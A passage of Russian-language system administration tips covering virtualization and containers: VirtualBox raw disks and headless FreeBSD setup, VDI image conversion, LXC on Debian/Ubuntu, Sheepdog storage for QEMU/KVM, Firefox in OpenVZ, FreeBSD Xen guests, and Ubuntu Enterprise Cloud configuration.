       fdisk: WARNING: this may confuse the BIOS or some operating systems
       Correct this automatically? [n] y
    
       Should we write new partition table? [n] y
    
    Изменяем размер слайса:
    
       bsdlabel -e /dev/ad1s1
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 2088351 16 unused 0 0
       c: 2088387 0 unused 0 0 # "raw" part, don't edit
    
    Не трогаем значение "raw" и правим размер слайса "a", приписав туда вычисленное
    на прошлом шаге значение дискового раздела минус 16 байт. Т.е. получаем после
    правки (raw-значение рассчитается автоматически):
    
       # size offset fstype [fsize bsize bps/cpg]
       a: 225279416 16 unused 0 0
       c: 225279432 0 unused 0 0 # "raw" part, don't edit
    
    Запускаем growfs для расширения существующей файловой системы:
    
       growfs /dev/ad1s1a
    
    Выключаем обслуживающую VM и запускаем основную. Внимание, одновременно
    основной и обслуживающий VM запускать нельзя, так как они работают с одинаковым
    дисковым разделом freebsd-dom0.example.com.
    
     
    ----* Как подключить физический диск в VirtualBox   [комментарии]
     
    Иногда требуется использовать в VirtualBox не образ виртуального диска, а
    настоящее блочное устройство, такое как диск или USB Flash. В нашем случае,
    была поставлена задача загрузки в VirtualBox для проведения эксперимента копии
    одного из серверов, содержимое дисков которого было скопировано на
    USB-накопитель. При этом система должна была поддерживать загрузку не только в
    VirtualBox, но и без виртуализации - при соединении USB-накопителя к любому компьютеру.
    
    Для подключения блочного устройства /dev/sdc необходимо выполнить (тем же
    методом можно подключать отдельные разделы, например, /dev/sdc2):
    
       sudo VBoxManage internalcommands createrawvmdk -filename ~/.VirtualBox/HardDisks/sdc.vmdk -rawdisk /dev/sdc
    
    В дальнейшем, в настройках виртуальной машины выбираем образ sdc.vmdk, который
    ссылается на /dev/sdc. При подключении необходимо обратить внимание на права
    доступа к заданному блочному устройству, например, в нашем случае текущий
    пользователь должен входить в группу, для которой разрешена запись /dev/sdc.
    
     
    ----* Установка и запуск гостевой ОС на FreeBSD под VirtualBox без X11   Автор: Михаил Григорьев  [комментарии]
     
    Исходные данные: Сервер FreeBSD 8.1-RELEASE
    
    Задача: Запустить на VirtualBox гостевую ОС Windows или Ubuntu.
    
    Решение:
    
    1. Устанавливаем VirtualBox из портов (не забываем вначале обновить порты)
    
      cd /usr/ports/emulators/virtualbox-ose
    
      make config
    
       /------------------------------------------------------\
       |           Options for virtualbox-ose 3.2.10          |
       |                                                      |
       |  [ ] QT4             Build with QT4 Frontend         |
       |  [ ] DEBUG           Build with debugging symbols    |
       |  [X] GUESTADDITIONS  Build with Guest Additions      |
       |  [X] DBUS            Build with D-Bus and HAL support|
       |  [ ] PULSEAUDIO      Build with PulseAudio           |
       |  [ ] X11             Build with X11 support          |
       |  [ ] VDE             Build with VDE support          |
       |  [X] VNC             Build with VNC support          |
       |  [ ] WEBSERVICE      Build Webservice                |
       |  [ ] NLS             Native language support         |
       \------------------------------------------------------/
    
      make install
    
    2. Добавляем запуск модулей при старте сервера:
    
      echo vboxdrv_load="YES" >> /boot/loader.conf
    
    Загружаем нужный модуль:
    
      kldload vboxdrv
    
    3. Создаем пользователя vbox под которым будем запускать VirtualBox
    
      pw useradd vbox -c 'VirtualBox Daemon' -d /home/vbox -g vboxusers -w none -s /bin/sh
    
    4. Создаем домашний каталог пользователя vbox где будем хранить виртуалки
    
      mkdir /home/vbox
    
    5. Даем права:
    
      chown -R vbox:vboxusers /home/vbox/
      chmod -R 770 /home/vbox/
    
    6. Входим под пользователем и создаем виртуальную машину:
    
      Под рукой был только диск с Ubuntu, для Windows нужно лишь
      изменить опцию --ostype, имя виртуалки, имя hdd и путь до iso-образа.
      Список возможных значений --ostype смотрим командой: VBoxManage list ostypes
    
      su -l vbox
      VBoxManage createvm --name Ubuntu --ostype Ubuntu --register --basefolder /home/vbox
      VBoxManage modifyvm "Ubuntu" --memory 256 --acpi on --boot1 dvd --nic1 nat
      VBoxManage createhd --filename "Ubuntu.vdi" --size 10000 --remember
      VBoxManage storagectl "Ubuntu" --name "IDE Controller" --add ide --controller PIIX4
      VBoxManage storageattach "Ubuntu" --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium "Ubuntu.vdi"
      VBoxManage openmedium dvd /mnt/ubuntu-9.10-dvd-i386.iso
      VBoxManage storageattach "Ubuntu" --storagectl "IDE Controller" --port 0 --device 1 --type dvddrive --medium /mnt/ubuntu-9.10-dvd-i386.iso
    
    7. Смотрим конфигурацию созданной машины:
    
      VBoxManage showvminfo Ubuntu
    
    8. Создаем скрипт /usr/local/etc/rc.d/vbox.sh для запуска VirtualBox:
    
      #!/bin/sh
    
      echo "Starting VirtualBox..."
      su -l vbox -c '/usr/bin/nohup /usr/local/bin/VBoxHeadless --startvm Ubuntu --vnc --vncport 2222 --vncpass 1234567890 &'
    
    9. Подключаемся к VirtualBox с помощью любого VNC клиента. (порт 2222, пароль 1234567890)
    
    10. Устанавливаем и настраиваем ОС, ставим на неё VirtualBox GuestAdditions.
    
    На этом все, если есть вопросы, пишите, буду рад ответить.
    (с) Михаил Григорьев (sleuthhound@gmail.com)
    
     
    ----* Преобразование дисковых разделов для VirtualBox и обратно   [комментарии]
     
    Преобразование существующего дискового раздела в формат виртуальной машины VirtualBox.
    
    Создаем слепок дискового раздела /dev/sda1
    
       dd if=/dev/sda1 bs=512k of=os_image.img
    
    Преобразуем созданный образ в формат VDI:
    
       VBoxManage convertdd os_image.img os_image.vdi --format VDI
    
    
    
    Преобразование образа виртуальной машины для записи на диск/Flash.
    
    Если внутри виртуального диска один раздел, конвертируем VDI в сырой дамп:
    
       VBoxManage internalcommands converttoraw os_image.vdi os_image.img
    
    или 
    
       VBoxManage clonehd os_image.vdi /путь/os_image.img --format RAW
    
    Вычисляем смещение до нужного раздела:
    
       fdisk os_image.img
    
       Команда (m для справки): p
    
       Диск os_image.img: 0 МБ, 0 байт
       16 heads, 63 sectors/track, 0 cylinders
       Units = цилиндры of 1008 * 512 = 516096 bytes
       Sector size (logical/physical): 512 bytes / 512 bytes
       I/O size (minimum/optimal): 512 bytes / 512 bytes
       Disk identifier: 0x00000000
    
       Устр-во Загр     Начало    Конец    Блоки    Id  Система
       os_image.img1    1         213      107320+  83  Linux
    
    Раздел начинается с первого трека, значит смещение будет 63 * 512 = 32256
    
    Монтируем:
    
       sudo mount -o loop,offset=32256 os_image.img /mnt
    
    
    Записываем на диск /dev/sda8 (skip=63 - пропускаем 63 блока по 512 байт (bs=512)):
    
       dd if=os_image.img bs=512 skip=63 of=/dev/sda8
    
    если в образе больше одного раздела необходимо также указать размер копируемых
    данных через опцию count=N, где N - размер в 512 байтных блоках.
    
    Локальное монтирование статического VDI-образа.
    К ранее рассчитанному смещению для дискового раздела, нужно учесть размер
    заголовка (512 байт) и системного индекса VDI (4 байт на каждый мегабайт
    размера VDI).
    
       ls -al os_image.vdi
       -rw------- 1 test test 110101504 2010-12-20 21:47 os_image.vdi
    
    Для диска размером 105 Мб получаем смещение: 32256 + 512 + 4*(110101504/(1024*1024)) = 33188
    
    Значение 33188 дополняем до границы в 512 байт:
       echo "33188 - 33188 % 512 + 512" | bc
       33280
    
    Монтируем:
    
       mount -o loop,offset=33280 os_image.vdi /mnt/vdi
    
    Внимание ! Монтирование динамически расширяемых VDI невозможно, так как они
    имеют неоднородную структуру.
    
    Изменение размера VDI-образа:
    
    Самый простой способ создать пустой VDI нужного размера, из виртуального
    окружения разметить на нем ФС и скопировать данные. Любители графических
    интерфейсов могут загрузить в виртуальном окружении LiveCD c gparted (http://gparted.sourceforge.net/).
    
    Дополнение от pavlinux:
    
    Еще один метод локального монтирования статического VDI-образа.
    
       # modprobe nbd max_part=8 nbds_max=1
       # qemu-nbd --connect=/dev/nbd0 WindowsXPSP3.vdi
       # fdisk -l /dev/nbd0
    
       Устр-во Загр     Начало       Конец       Блоки   Id  Система
       /dev/nbd0p1   *           1        2813    22595391    7  HPFS/NTFS
    
       # mount -t ntfs-3g /dev/nbd0p1 /media/foofeel
       # ls  /media/foofeel
    
       AUTOEXEC.BAT  boot.ini    Documents and Settings  MSDOS.SYS 
    
     
    ----* VirtualBox на отдельной виртуальной консоли (доп. ссылка 1)   Автор: Wizard  [комментарии]
     
    При локальном использовании VitrualBox'а можно запускать виртуальные машины на
    отдельных виртуальных консолях с переключением по Ctrl+Alt+Fn с помощью xinit(1).
    
    Пример для 8-й консоли (Гость - Ctrl+Alt+F8, хост - Ctrl+Alt+F7):
    
       xinit /usr/bin/VirtualBox --startvm "My beloved VM" --fullscreen -- /usr/bin/Xorg :1
    
    Соответственно, при желании запуска таким образом более одной виртуальной
    машины, необходимо увеличивать номер виртуального терминала для X-сервера (:2,
    :3 и т.д.) и, конечно, указывать соответствующие имена виртуальных машин в
    параметре "--startvm".
    
     
    ----* Использование контейнеров LXC в Debian/Ubuntu   Автор: Heretic  [комментарии]
     
    Контейнеры LXC позволяют изолировать процессы и ресурсы, работающие в рамках
    одной операционной системы, не прибегая к использованию виртуализации.
    Положительным аспектом LXC является использование единого пространства
    системных буферов, например, единый для базовой системы и всех контейнеров
    дисковый кэш. Наиболее близкими аналогами LXC являются Solaris Zones и FreeBSD jail.
    
    В качестве серверной операционной системы была использована Ubuntu 10.04 LTS, в
    качестве виртуальных машин использован Debian Lenny.
    
    Организация сетевого соединения для контейнера.
    
    Воспользуемся сетевым мостом для создания общего сегмента сети.
    Устанавливаем пакеты для создания моста:
    
       sudo aptitude install bridge-utils
    
    Настроим мост, для этого приведем файл /etc/network/interfaces к следующему виду:
    
       # The loopback network interface
       auto lo
       iface lo inet loopback
    
       # Комментируем активные до настройки сетевого моста опции
       #allow-hotplug eth0
       #iface eth0 inet dhcp
    
       # Setup bridge
       auto br0
       iface br0 inet dhcp
        bridge_ports eth0
        bridge_fd 0
    
    Как можно увидеть из файла /etc/network/interfaces, eth0 закомментирован и
    добавлен новый интерфейс br0.
    
    Далее перезапускаем сеть:
    
        sudo /etc/init.d/networking restart
    
    Если использует ручная настройка сети, то нужно сделать так:
    
       auto br0
       iface br0 inet static
        bridge_ports eth0
        bridge_fd 0
        address 192.168.82.25
        netmask 255.255.255.0
        gateway 192.168.82.1
        dns-nameservers 192.168.82.1
    
    Установка LXC, установка cgroups
    
    Установим lxc: 
    
       sudo aptitude install lxc
    
    Создадим директорию /cgroup и примонтируем cgroup (может быть где угодно):
    
       sudo mkdir /cgroup
    
    Добавляем следующие строки в /etc/fstab:
    
       cgroup        /cgroup        cgroup        defaults    0    0
    
    И монтируем cgroups:
    
       sudo mount cgroup
    
    До того как начать собирать контейнер, проверим окружение через lxc-checkconfig:
    
    
       lxc-checkconfig
    
       Kernel config /proc/config.gz not found, looking in other places...
       Found kernel config file /boot/config-2.6.32-3-686
       --- Namespaces ---
       Namespaces: enabled
       Utsname namespace: enabled
       ...
    
    Все параметры должны быть включены (для ubuntu 10.04, в Debian squeeze Cgroup
    memory controller: disabled ).
    
    Создание первого контейнера
    
    Мы будем использовать оригинальную версию скрипта lxc-debian, он находится в
    файле /usr/share/doc/lxc/examples/lxc-debian.gz.
    
    Скопируем файл /usr/share/doc/lxc/examples/lxc-debian.gz в /usr/local/sbin/
    распакуем его и поставим бит запуска:
    
       sudo cp /usr/share/doc/lxc/examples/lxc-debian.gz /usr/local/sbin/
       sudo gunzip /usr/local/sbin/lxc-debian.gz
       sudo chmod +x /usr/local/sbin/lxc-debian
    
    Перед запуском этого скрипта требуется установить debootstrap.
    
       sudo aptitude install debootstrap
    
    Теперь сделаем первую вирутальную машину. По умолчанию директория развертывания
    контейнеров находится в /var/lib/lxc/ , параметром -p можно указать
    произвольное расположение вируальной машины.
    
       sudo mkdir -p /lxc/vm0
       sudo lxc-debian -p /lxc/vm0
    
    Это может занять некоторое время. Скрипт так же настроит локаль. После
    окончания установки нужно настроить виртуальную машину.
    Идем в /lxc/vm0 и правим файл конфигурации (config):
    
       lxc.tty = 4
       lxc.pts = 1024
       lxc.rootfs = /srv/lxc/vm0/rootfs
       lxc.cgroup.devices.deny = a
       # /dev/null and zero
       lxc.cgroup.devices.allow = c 1:3 rwm
       lxc.cgroup.devices.allow = c 1:5 rwm
       # consoles
       lxc.cgroup.devices.allow = c 5:1 rwm
       lxc.cgroup.devices.allow = c 5:0 rwm
       lxc.cgroup.devices.allow = c 4:0 rwm
       lxc.cgroup.devices.allow = c 4:1 rwm
       # /dev/{,u}random
       lxc.cgroup.devices.allow = c 1:9 rwm
       lxc.cgroup.devices.allow = c 1:8 rwm
       lxc.cgroup.devices.allow = c 136:* rwm
       lxc.cgroup.devices.allow = c 5:2 rwm
       # rtc
       lxc.cgroup.devices.allow = c 254:0 rwm
    
       # <<<< Добавляем эти строки
       lxc.utsname = vm0
       lxc.network.type = veth
       lxc.network.flags = up
       lxc.network.link = br0
       # lxc.network.name = eth0
       # lxc.network.hwaddr = 00:FF:12:34:56:78
       lxc.network.ipv4 = 192.168.82.28/24
    
    
    Рассмотрим параметры поподробнее:
    
    lxc.utsname = vm0 Имя хоста виртуальной машины
    
    lxc.network.type = veth Тип сети с которой работаем (man lxc.conf), используем
    veth если работаем с мостом.
    
    lxc.network.flags = up Сообщаем что нужно поднимать сетевой интерфейс при запуске системы.
    
    lxc.network.link = br0 Мост через который будет работать вируальный интерфейс.
    
    lxc.network.name = eth0 Имя сетевого интерфейса в контейнере. Если не 
    устанавливать будет eth0, по умолчанию.
    
    lxc.network.hwaddr = 00:FF:12:34:56:78 Мак адрес устройства которое используется.
    
    lxc.network.ipv4 = 192.168.82.28/24 Сетевой адрес который будет присвоен виртуальному интерфейсу.
    
    Так же требуется отредактировать /etc/network/interfaces в контейнере (/lxc/vm0/rootfs/etc/network/interfaces)
    
    Создаем контейнер который связывает имя конрейнера с файлом настроек. Имя будет
    использовано для управления единичным контейнером.
    
       sudo lxc-create -n vm0 -f /lxc/vm0/config
    
    Запустим вируальную машину.
    
       sudo lxc-start -n vm0 -d
    
    Проверяем запущена ли она:
    
       sudo lxc-info -n vm0
    
       'vm0' is RUNNING
    
    Теперь можно подключиться к консоли контейнера используя lxc-console:
    
       sudo lxc-console -n vm0
    
    Вводим имя пользователя root и получаем вход в систему (без пароля).
    Устанавливаем пароль пользователю root:
    
       sudo passwd
    
    Добавляем не привилегированного пользователя.
    
       sudo adduser admin
    
    Хорошо наш контейнер работает, теперь остановим его делается это следующим образом:
    
       sudo lxc-stop -n vm0
    
    И проверяем его статус через lxc-info
    
       sudo lxc-info -n vm0
       'vm0' is STOPPED
    
    
    Еще один контейнер
    
    У нас есть контейнер vm0 с минимальной системой и установленными паролями рута
    и не привилегированного пользователя, из этого контейнера клонируем еще один.
    Для этого первая виртуальная машина должна быть остановлена. Создаем папку vm1
    в /lxc и копируем туда содержимое vm0
    
       cd /lxc
       sudo mkdir vm1
       sudo cp -Rv ./vm0/* ./vm1/
       cd ./vm1/
    
    Теперь нужно подправить файл конфигурации для vm1 (сеть, имя и т.д.)
    
    Ограничения
    
    
    При настройке Xen или KVM можно настроить количество памяти, количество
    виртуальных процессов, а так же настроить планировщик. Это же можно сделать с
    помощью cgroups в LXC. Прежде нужно запомнить что все настройки cgroup
    полностью динамические, т.е. вы можете их изменять в любое время, так что
    будьте осторожны.
    
    Все значения cgroup можно задать следующими способами:
    
       lxc-cgroup -n vm0 <cgroup-name> <value>
       echo <value> > /cgroup/vm0/<cgroup-name>
    
    в конфигурационном файле: "lxc.cgroup.<cgroup-name> = <value>"
    
    В примерах будем использовать настройку через конфигурационный файл.
    
    Для обозначения размера, например памяти, можно использовать K, M или G, например:
    
       echo "400M" > /cgroup/vm0/memory.limit_in_bytes
    
    Допустимые параметры. Для начала, мы можем посмотреть в каталог /cgroup/vm0
    (если vm0 не запущен - запустите сейчас). Мы можем увидеть следующее:
    
       ls -1 /cgroup/vm0/
    
       cgroup.procs
       cpuacct.stat
       cpuacct.usage
       cpuacct.usage_percpu
       cpuset.cpu_exclusive
       cpuset.cpus
       cpuset.mem_exclusive
       cpuset.mem_hardwall
       cpuset.memory_migrate
       cpuset.memory_pressure
       cpuset.memory_spread_page
       cpuset.memory_spread_slab
       cpuset.mems
       cpuset.sched_load_balance
       cpuset.sched_relax_domain_level
       cpu.shares
       devices.allow
       devices.deny
       devices.list
       freezer.state
       memory.failcnt
       memory.force_empty
       memory.limit_in_bytes
       memory.max_usage_in_bytes
       memory.memsw.failcnt
       memory.memsw.limit_in_bytes
       memory.memsw.max_usage_in_bytes
       memory.memsw.usage_in_bytes
       memory.soft_limit_in_bytes
       memory.stat
       memory.swappiness
       memory.usage_in_bytes
       memory.use_hierarchy
       net_cls.classid
       notify_on_release
       tasks
      
    Не будем вдаваться в описание каждого параметра, подробно можно посмотреть здесь.
    
    Ограничение памяти и файла подкачки
    
    Не снижайте количество памяти для запущенного контейнера, если вы не уверены что делаете.
    Максимальное количество памяти для виртуальной машины:
    
       lxc.cgroup.memory.limit_in_bytes = 256M
    
    Максимальное количество swap для виртуальной машины:
    
       lxc.cgroup.memory.memsw.limit_in_bytes = 1G
    
    Больше информации по работе с памятью можно найти  здесь.
    
    Ограничение CPU
    
    Есть два варианта ограничения CPU. Первый, можно ограничить через планировщик и
    второй - можно ограничить через cgroup.
    
    Планировщик 
    Планировщик работает следующим образом: Можно присвоить vm0 значение 10 и vm1
    значение 20. Это означает что каждую секунду процессорного времени vm1 получит
    двойное количество циклов процессора. По умолчанию значение установлено в 1024.
    
       lxc.cgroup.cpu.shares = 512
    
    Больше о планировщике CPU читаем здесь.
    
    Так же можно установить количество используемых процессоров в контейнере.
    Допустим у вас 4 CPU, то по умолчанию для всех является значение 0-3
    (использовать все процессоры).
    
    Использовать первый cpu:
    
       lxc.cgroup.cpuset.cpus = 0
    
    использовать первый, второй и последний cpu.
    
       lxc.cgroup.cpuset.cpus = 0-1,3
    
    использовать первый и последний cpu.
    
       lxc.cgroup.cpuset.cpus = 0,3
    
    Подробнее здесь.
    
    Ограничение жесткого диска
    
    Пока это нельзя сделать через cgroups, но можно сделать через LVM.
    
    
    Как безопасно остановить виртуальную машину
    
    lxc-stop просто убивает родительский процесс lxc-start, если  требуется
    безопасно выключить, то в настоящие время не существует другого решения, как
    остановить виртуальную машину через SSH или lxc-console:
    
       sudo lxc-console -n vm0
       #vm0> init 0
    
    Нужно подождать пока остановятся все процессы (за этим можно понаблюдать через
    pstree или htop) и затем останавливаем виртуальную машину.
    
       sudo lxc-stop -n vm0
    
    Как навсегда удалить виртуальную машину
    
    Останавливаем виртуальную машину и используем команду lxc-destroy
    
       sudo lxc-destroy -n vm0
    
    Она удалит все файлы из /lxc/vm0, так сказано в документации, но она не удалила
    файлы из каталога поэтому пришлось удалять самому.
    
    Как заморозить и "разморозить" контейнер
    
    LXC может заморозить все процессы в запущенном контейнере, тем самым LXC просто
    блокирует все процессы.
    
       sudo lxc-freeze -n vm0
    
    После запуска все будет записано в память (и swap).
    
    Использованные источники
    * http://www.ibm.com/developerworks/ru/library/l-lxc-containers/
    * https://help.ubuntu.com/community/LXC
    * http://blog.bodhizazen.net/linux/lxc-configure-ubuntu-lucid-containers/
    * http://blog.bodhizazen.net/linux/lxc-linux-containers/
    * http://lxc.teegra.net/#_setup_of_the_controlling_host
    * http://blog.foaa.de/2010/05/lxc-on-debian-squeeze/#pni-top0
    
     
    ----* Запуск виртуальных машин Qemu и KVM в распределенном хранилище Sheepdog (доп. ссылка 1)   [комментарии]
     
    Пример настройки Sheepdog в Fedora Linux для организации выполнения в Qemu или
    KVM  виртуального окружения поверх распределенного на несколько машин
    высоконадежного хранилища Sheepdog (подробнее см. http://www.opennet.ru/27251/ )
    
    
    Устанавливаем и запускаем кластерный движок Corosync (http://www.corosync.org/)
    на всех узлах кластера хранения:
    
       yum install corosync
       service corosync start
    
    После интеграции sheepdog-драйвера в состав пакета qemu и qemu-kvm, достаточно будет выполнить:
    
       yum install qemu-kvm
    
    (сейчас еще нужно собирать драйвер из исходных текстов)
    
    
    Запускаем на каждом узле кластера хранения управляющий процесс Sheepdog,
    передав в качестве аргумента директориею для хранения объектов в локальной ФС каждого узла:
    
       sheep /store
    
    Форматируем и настраиваем параметры кластера хранения, указываем дублирование
    каждого блока данных на три разных узла:
    
       collie cluster format --copies=3
    
    Создаем в распределенном хранилище дисковый образ, размером 256Гб, для
    виртуальной машины с именем Alice:
    
       qemu-img create sheepdog:Alice 256G
    
    Импортируем существующий образ виртуальной машины в распределенное хранилище с именем Bob:
    
       qemu-img convert ~/amd64.raw sheepdog:Bob
    
    Смотрим список активных хранилищ:
    
       collie vdi list
    
       Bob          0  2.0 GB  1.6 GB  0.0 MB 2010-03-23 16:16      80000
       Alice        0  256 GB  0.0 MB  0.0 MB 2010-03-23 16:16      40000
    
    Запускаем виртуальную машину:
    
       qemu-system-x86_64 sheepdog:Alice
    
    Создаем снапшот виртуальной машины Alice:
    
       qemu-img snapshot -c name sheepdog:Alice
    
    Параллельно запускаем созданный снапшот:
    
       qemu-system-x86_64 sheepdog:Alice:1
    
    Клонируем снапшот Alice:1 в новую виртуальную машину Charlie
    
       qemu-img create -b sheepdog:Alice:1 sheepdog:Charlie
    
    Просматриваем состояние узлов кластера:
    
       collie node list
    
     
    ----* Запуск Firefox в контейнере OpenVZ (доп. ссылка 1)   [комментарии]
     
    Для повышении безопасности при просмотре в Firefox небезопасных сайтов, браузер
    можно дополнительно изолировать от системы, запустив его в контейнере OpenVZ.
    
    Создаем контейнер на базе шаблона Fedora 12:
    
       vzctl create 777 --ostemplate fedora-12-x86
       vzctl start 777
    
    Настраиваем внутри контейнера доступ к сети, используя NAT ( см. инструкцию
    http://wiki.openvz.org/NAT). Не забываем прописать ДНС-сервер в /etc/resolv.conf.
    
    Проверяем:
    
       vzctl exec 777 ping -c 1 openvz.org
    
    Устанавливаем в контейнер Firefox:
    
       vzctl exec 777 yum install firefox xauth liberation\*fonts
    
    Разрешаем перенаправление X11-соединений в ssh:
    
       vzctl exec 777 sed 's/^.*X11Forwarding .*$/X11Forwarding yes/'
       vzctl exec 777 /etc/init.d/sshd restart
    
    Создаем аккаунт пользователя для запуска Firefox:
    
       vzctl set 777 --userpasswd ffox:mysecpass
    
    Запускаем Firefox из контейнера:
    
       ssh -Y x.x.x.x dbus-launch firefox -no-remote
    
     
    ----* Подготовка паравиртуализированного гостевого окружения с FreeBSD 8 для Xen (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    В заметке рассказано о подготовке образа гостевой системы с FreeBSD 8,
    предназначенного для работы под управлением  Xen в режиме паравиртуализации,
    позволяющем добиться более высокой производительности по сравнению с
    HVM-режимом (полная аппаратная виртуализация).
    
    В настоящее время нет готовых бинарных образов ядра и системы, предназначенных
    для установки в роли гостевой ОС. Придется создавать их вручную. Для начала
    поставим FreeBSD обычным образом на диск или под управлением VirtualBox, после
    чего займемся созданием образа, пригодного для использования в Xen DomU.
    
    Создадим каркас будущего образа гостевой ОС (размер можно сразу изменить исходя из решаемых задач):
    
       # truncate -s 256M freebsd.img
    
    Привяжем к этому файлу виртуальный диск:
    
       # mdconfig -f freebsd.img
    
    Установим загрузчик, создадим дисковые разделы и отформатируем под UFS2 с включенными softupdates:
    
       # fdisk -BI md0
       # bsdlabel -wB md0s1
       # newfs -U md0s1a
    
    Монтируем локально созданную внутри файла ФС:
    
       # mount /dev/md0s1a /mnt
    
    В /usr/src текущей системы должен быть полный набор исходных текстов, обновим их:
    
       # csup -h cvsup2.ru.FreeBSD.org -L 2 /usr/share/examples/cvsup/standard-supfile
    
    Примечание: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    
    
    Соберем ядро и мир
    
       # make buildworld && make buildkernel KERNCONF=XEN
    
    Установим итоговые собранные файлы на ранее подготовленный дисковый образ в
    файле, примонтированный в /mnt:
    
       # export DESTDIR=/mnt && make installworld && make installkernel KERNCONF=XEN && cd etc && make distribution
    
    Адаптируем настройки для работы в качестве гостевой системы Xen.
    В  /mnt/etc/fstab добавим:
    
       /dev/xbd0       /               ufs     rw              1       1
    
    В /mnt/etc/ttys:
    
       xc0     "/usr/libexec/getty Pc"         vt100   on  secure
    
    Сохраним отдельно ядро гостевой системы, так как его потребуется скопировать для загрузки из dom0:
    
       # cp /mnt/boot/kernel/kernel /some/place/freebsd-kernel
    
    Отмонтируем виртуальный диск:
    
       # umount /mnt
       # mdconfig -d -u md0
    
    В результате получены файл с гостевой системой freebsd.img и файл с ядром freebsd-kernel.
    
    
    Конфигурируем управляющее окружение Xen (dom0):
    
    Проверяем работает ли xen:
    
       # xm list
    
    Создаем файл конфигурации /etc/xen/freebsd:
    
       kernel = "/virt/freebsd-8.0p2-i386-xen-domu-kernel"
       memory = 512
       name = "freebsd"
       vif = [ '' ]
       disk = [ 'file:/virt/freebsd-8.0p2-i386-xen-domu.img,hda,w' ]
       extra = "boot_verbose=1"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
       extra += ",kern.hz=100"
    
    где, /virt/freebsd-8.0p2-i386-xen-domu-kernel путь к предварительно
    скопированному в файловую систему dom0 подготовленного ранее ядра FreeBSD.
    
    
    В /etc/xen/xend-config.sxp активируем сетевой мост для работы сети внутри FreeBSD:
    
       #(network-script network-dummy)
       (network-script network-bridge)
    
    Запускаем гостевое окружение и сразу входим в консоль:
    
       # xm create freebsd
       # xm console freebsd
    
    Из проблем, отмечена неработа настройки ifconfig_xn0="DHCP", для получения
    адреса dhclient нужно запускать вручную.
    
     
    ----* Настройка кластера для запуска Cloud-окружений с использованием Ubuntu Enterprise Cloud (доп. ссылка 1)   [комментарии]
     
    Для настройки сервера для запуска Cloud-окружений будем использовать
    дистрибутив Ubuntu Enterprise Cloud (http://www.ubuntu.com/cloud/private) в
    который интегрирована поддержка платформы Eucalyptus
    (http://www.eucalyptus.com/). Будет создан один управляющий
    cloud-инфраструктурой фронтэнд-сервер и несколько работающих под его началом
    вспомогательных узлов.
    
    Установленный на машинах процессор должен поддерживать средства аппаратной
    виртуализации Intel VTx (vmx) или AMD-V (svm). Проверить поддержку можно
    убедившись наличие соответствующих флагов в файле   /proc/cpuinfo:
    
       egrep '(vmx|svm)' /proc/cpuinfo
    
    Устанавливаем на сервер и вспомогательные узлы  Linux дистрибутив Ubuntu Server
    9.10, выбрав в меню загрузчика "Install Ubuntu Enterprise Cloud". Далее
    проводим инсталляцию с соответствие с личными предпочтениями, а в блоке "Cloud
    Installation Mode" выбираем  для управляющего сервера значение по умолчанию
    "Cluster", а при установке дополнительных узлов - "Node".
    
    Настройка вспомогательных узлов Cloud-инфраструктуры.
    
    Устанавливаем на узлах публичный SSH-ключ управляющего сервера:
    1. Задаем пользователю eucalyptus на конечных узлах пароль:
    
       sudo passwd eucalyptus
    
    2. На стороне управляющего сервера запускаем команду копирования ssh-ключа на узлы:
    
       sudo -u eucalyptus ssh-copy-id -i ~eucalyptus/.ssh/id_rsa.pub eucalyptus@IP_адрес_узла
    
    3. Очищаем ранее установленный пароль для пользователя eucalyptus, чтобы
    заходить можно было только по ключам шифрования:
    
       sudo passwd -d eucalyptus
    
    После того как аутентификация по ssh-ключам настроена на всех узлах запускаем
    на стороне управляющего сервера процесс регистрации узлов:
    
       sudo euca_conf --no-rsync --discover-nodes
    
    Получаем и устанавливаем мандат для пользователей cloud-инфраструктуры.
    
    На управляющем пользователе создаем директорию ~/.euca и генерируем
    идентификационные параметры cloud-инфраструктуры:
    
       mkdir -p ~/.euca
       chmod 700 ~/.euca
       cd ~/.euca
       sudo euca_conf --get-credentials mycreds.zip
       unzip mycreds.zip
       cd -
    
    Настройка EC2 API и AMI утилит.
    
    На управляющем сервере запускаем скрипт для создания параметров окружения Eucalyptus:
    
       ~/.euca/eucarc
    
    Для автоматизации запуска добавляем его вызов в ~/.bashrc:
    
       echo "[ -r ~/.euca/eucarc ] && . ~/.euca/eucarc" >> ~/.bashrc
    
    Устанавливаем вспомогательный набор AMI утилит:
    
       sudo apt-get install ec2-ami-tools ec2-api-tools
    
    Для проверки, что все работает, запускаем:
    
       . ~/.euca/eucarc
    в ответ должно появиться:
       euca-describe-availability-zones verbose
    
    Настройка через управляющий web-интерфейс
    
    В браузере открываем страницу https://IP_управляющего_сервера:8443
    В качестве имени пользователя и пароля указываем "admin". После первого входа
    будет сразу предложено поменять пароль и указать контактный email.
    
    Установка образов пользовательских cloud-окружений.
    
    В панели управления web-интерфейса выбираем вкладку "Store" и жмем кнопку
    "Install" рядом с выбранным в списке образом системы. Сразу после нажатия
    начнется загрузка из сети выбранного образа и затем его установка.
    
    Запуск образов пользовательских cloud-окружений.
    
    Перед первым стартом окружения на узле создаем для него SSH-ключ на управляющем узле:
    
       touch ~/.euca/mykey.priv
       chmod 0600 ~/.euca/mykey.priv
       euca-add-keypair mykey > ~/.euca/mykey.priv
    
    На узле открываем 22 порт, запустив следующие команды:
    
       euca-describe-groups
       euca-authorize default -P tcp -p 22 -s 0.0.0.0/0
    
    После этого можно запустить зарегистрированный образ окружения через
    web-интерфейс: во вкладке "Store" выбираем ссылку "How to Run", в появившемся
    окне будет отражена полная команда для запуска. Первый запуск может занять
    довольно долго, так как потребуется время на его копирование в кеш.
    
    За статусом запуска окружения можно наблюдать выполнив команду:
    
       watch -n5 euca-describe-instances
    
    Когда состояние "pending" заменится на "running", к окружению можно подключаться.
    
    Для сохранения IP созданного окружения в переменной IPADDR и входа в него по ssh выполним команду:
    
       IPADDR=$(euca-describe-instances | grep $EMI | grep running | tail -n1 | awk '{print $4}')
       ssh -i ~/.euca/mykey.priv ubuntu@$IPADDR
    
    Для принудительного завершения работы окружения:
    
